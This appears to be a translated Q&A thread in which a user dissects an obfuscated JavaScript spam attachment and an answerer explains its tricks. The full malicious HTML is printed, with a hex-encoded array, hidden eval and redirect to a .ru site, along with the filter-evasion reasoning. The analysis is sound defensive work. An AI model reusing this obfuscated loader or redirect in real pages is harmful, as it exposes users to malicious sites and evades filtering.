3

今朝、スパムを受け取りました。添付ファイルが .html ファイルであることに気付きました。ゴミ箱に捨てる代わりに、学習の機会としてデスクトップにコピーし、名前を .txt に変更してメモ帳にロードしました。

以下は、スパムの添付ファイルに表示される html と難読化されたスクリプトです。

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Please wait</title>
</head>
<body>  
<h1><b>Please wait. You will be forwarded.. . </h1></b>
<h4>Internet Explorer / Mozilla Firefox compatible only</h4><br>

<script>asgq=    [0x76,0x61,0x72,0x31,0x3d,0x34,0x39,0x3b,0xa,0x76,0x61,0x72,0x32,0x3d,0x76,0x61,0x72,0x31,0x3b,0xa,0x69,0x66,0x28,0x76,0x61,0x72,0x31,0x3d,0x3d,0x76,0x61,0x72,0x32,0x29,0x20,0x7b,0x64,0x6f,0x63,0x75,0x6d,0x65,0x6e,0x74,0x2e,0x6c,0x6f,0x63,0x61,0x74,0x69,0x6f,0x6e,0x3d,0x22,0x68,0x74,0x74,0x70,0x3a,0x2f,0x2f,0x67,0x69,0x6c,0x69,0x61,0x6f,0x6e,0x73,0x6f,0x2e,0x72,0x75,0x3a,0x38,0x30,0x38,0x30,0x2f,0x66,0x6f,0x72,0x75,0x6d,0x2f,0x6c,0x69,0x6e,0x6b,0x73,0x2f,0x63,0x6f,0x6c,0x75,0x6d,0x6e,0x2e,0x70,0x68,0x70,0x22,0x3b,0x7d];try{document.body&=0.1}catch(gdsgsdg){zz=3;dbshre=56;if(dbshre){vfvwe=0;    try{}catch(agdsg){vfvwe=1;}if(!vfvwe){e=window["e".concat("val")];}
 s="";for(i=0;i-105!=0;i++){if(window.document)s+=String.fromCharCode(asgq[i]);}
 z=s;e(s);}}</script>
</body>
</html>

私が最初にしたことは、もう少し読みやすいように並べることでした。

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Please wait</title>
</head>
<body>  
<h1><b>Please wait. You will be forwarded.. . </h1></b>
<h4>Internet Explorer / Mozilla Firefox compatible only</h4><br>

<script>
asgq=[0x76,0x61,0x72,0x31,0x3d,0x34,0x39,0x3b,0xa,0x76,0x61,0x72,0x32,0x3d,0x76,0x61,0x72,0x31,0x3b,0xa,0x69,0x66,0x28,0x76,0x61,0x72,0x31,0x3d,0x3d,0x76,0x61,0x72,0x32,0x29,0x20,0x7b,0x64,0x6f,0x63,0x75,0x6d,0x65,0x6e,0x74,0x2e,0x6c,0x6f,0x63,0x61,0x74,0x69,0x6f,0x6e,0x3d,0x22,0x68,0x74,0x74,0x70,0x3a,0x2f,0x2f,0x67,0x69,0x6c,0x69,0x61,0x6f,0x6e,0x73,0x6f,0x2e,0x72,0x75,0x3a,0x38,0x30,0x38,0x30,0x2f,0x66,0x6f,0x72,0x75,0x6d,0x2f,0x6c,0x69,0x6e,0x6b,0x73,0x2f,0x63,0x6f,0x6c,0x75,0x6d,0x6e,0x2e,0x70,0x68,0x70,0x22,0x3b,0x7d];
try{document.body&=0.1} 
catch(gdsgsdg) 
{
 zz=3;
 dbshre=56;
   if(dbshre){
     vfvwe=0;
     try{}
     catch(agdsg)
     {vfvwe=1;}
     if(!vfvwe){
     e=window["e".concat("val")];
     s="";

   for(i=0;i-105!=0;i++){
     if(window.document)
        s+=String.fromCharCode(asgq[i]);
   }
z=s;
e(s);
    }  
   }
</script>
</body>
</html>

この時点で、スクリプトの作成者が asgq 配列内のグッズを文字コードとして隠していることは明らかです。0x76 = "v"、0x61 = "a"、0x72 = "r" など...うーん、最初の 3 つの要素は既に "var" と綴られています!

asgq.length = 105. for ループで、作者が使用した終了条件は "i-105!=0" で、これは i < asgq.length と言うのが紛らわしい方法です。「zz=3;」スクリプトの残りの部分には何もしないか、関与していないように見えます。また、最初の catch ステートメントの後に一致しない "{" があります。

for ループを実行し、配列をアラート ボックスにアンパックしました。これが私が得たものです:

" var1=49; var2=var1; if(var1==var2) {document.location="http://giliaonso.ru:8080/forum/links/column.php";} "

そのため、著者は char コードで 49=49 を作成するという問題を抱えており、49=49 の場合、window.location = ロシアのサイトになります。

私の質問:

  1. 著者は try cache ステートメントを使用しています。最初の試行条件は (document.body&=0.1) です。これは失敗してステートメントのキャッシュ部分に移動するように設計されていますか、それともビットごとの操作ですか? ビット単位の場合、「= 0.1」はなぜですか?

  2. 最初のキャッシュは「agdsg」を渡しています。「e」が渡された cache(e) を見たことがあります。e 以外の値を渡すとどうなりますか?

  3. 「e=window["e".concat("val")];」という行は正確には何ですか? してる?作者が後で呼び出す関数宣言として機能しているようです:「e(s);」「s」はアンパックされた配列です。

任意の支援をいただければ幸いです。

4

1 に答える 1

3

1)これは、エラーをスローする割り当て0を試みます:document.body

document.body&=0.1
//is the same as
document.body = document.body & 0.1;
//document.body & *anything* returns 0

2)catch有効な名前を引数として取ります。任意の名前を付けることができます ( agdsg.

3) これを少し分解してみましょう。

e=window["e".concat("val")];
//"e".concat("val") returns "eval"
e=window["eval"]
//which gives you the global "eval()" function

基本的に、作成者はその配列を実行するコードの文字列にデコードし、それを使用eval()して実行します。彼らが単に使用しない理由eval("var ...")は、eval off (および文字列) を難読化すると、フィルター (または人間) が eval を実行していることを確認するのが難しくなるためです。eval を実行していることがわかっている場合は、文字列をチェックしてリダイレクト コードを停止できます。

于 2013-03-05T20:03:36.897 に答える